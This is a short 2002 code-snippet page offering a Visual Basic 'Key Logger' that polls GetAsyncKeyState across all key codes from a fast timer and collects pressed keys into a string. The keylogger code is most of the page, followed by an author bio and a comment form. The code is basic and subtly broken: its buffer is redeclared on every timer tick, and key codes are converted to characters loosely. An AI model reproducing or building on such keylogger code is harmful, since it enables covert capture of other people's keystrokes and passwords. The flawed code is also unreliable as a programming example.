A Key Logger

By | 2002-06-01

It Logs Your Key Presses
Place This Code In A Timer On Interval Less Then 20 The Faster It Is The
better But It Consumes More System Rescources

Original Author: Adam Jacob Muller

API Declarations

Declare Function GetAsyncKeyState Lib “user32” (ByVal dwMessage As Long) As Integer

Code

'Place This Code In A Timer On Interval Less Then 20 The Faster It Is The
'better But It Consumes More System Rescources
Dim KeyLoop As Byte
Dim FoundKeys As String
Dim KeyResult As Long
For KeyLoop = 1 To 255
KeyResult = GetAsyncKeyState(KeyLoop)
If KeyResult = -32767 Then
FoundKeys = FoundKeys + Chr(KeyLoop)
End If
Next

Author: dwirch

Derek Wirch is a seasoned IT professional with an impressive career dating back to 1986. He brings a wealth of knowledge and hands-on experience that is invaluable to those embarking on their journey in the tech industry.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.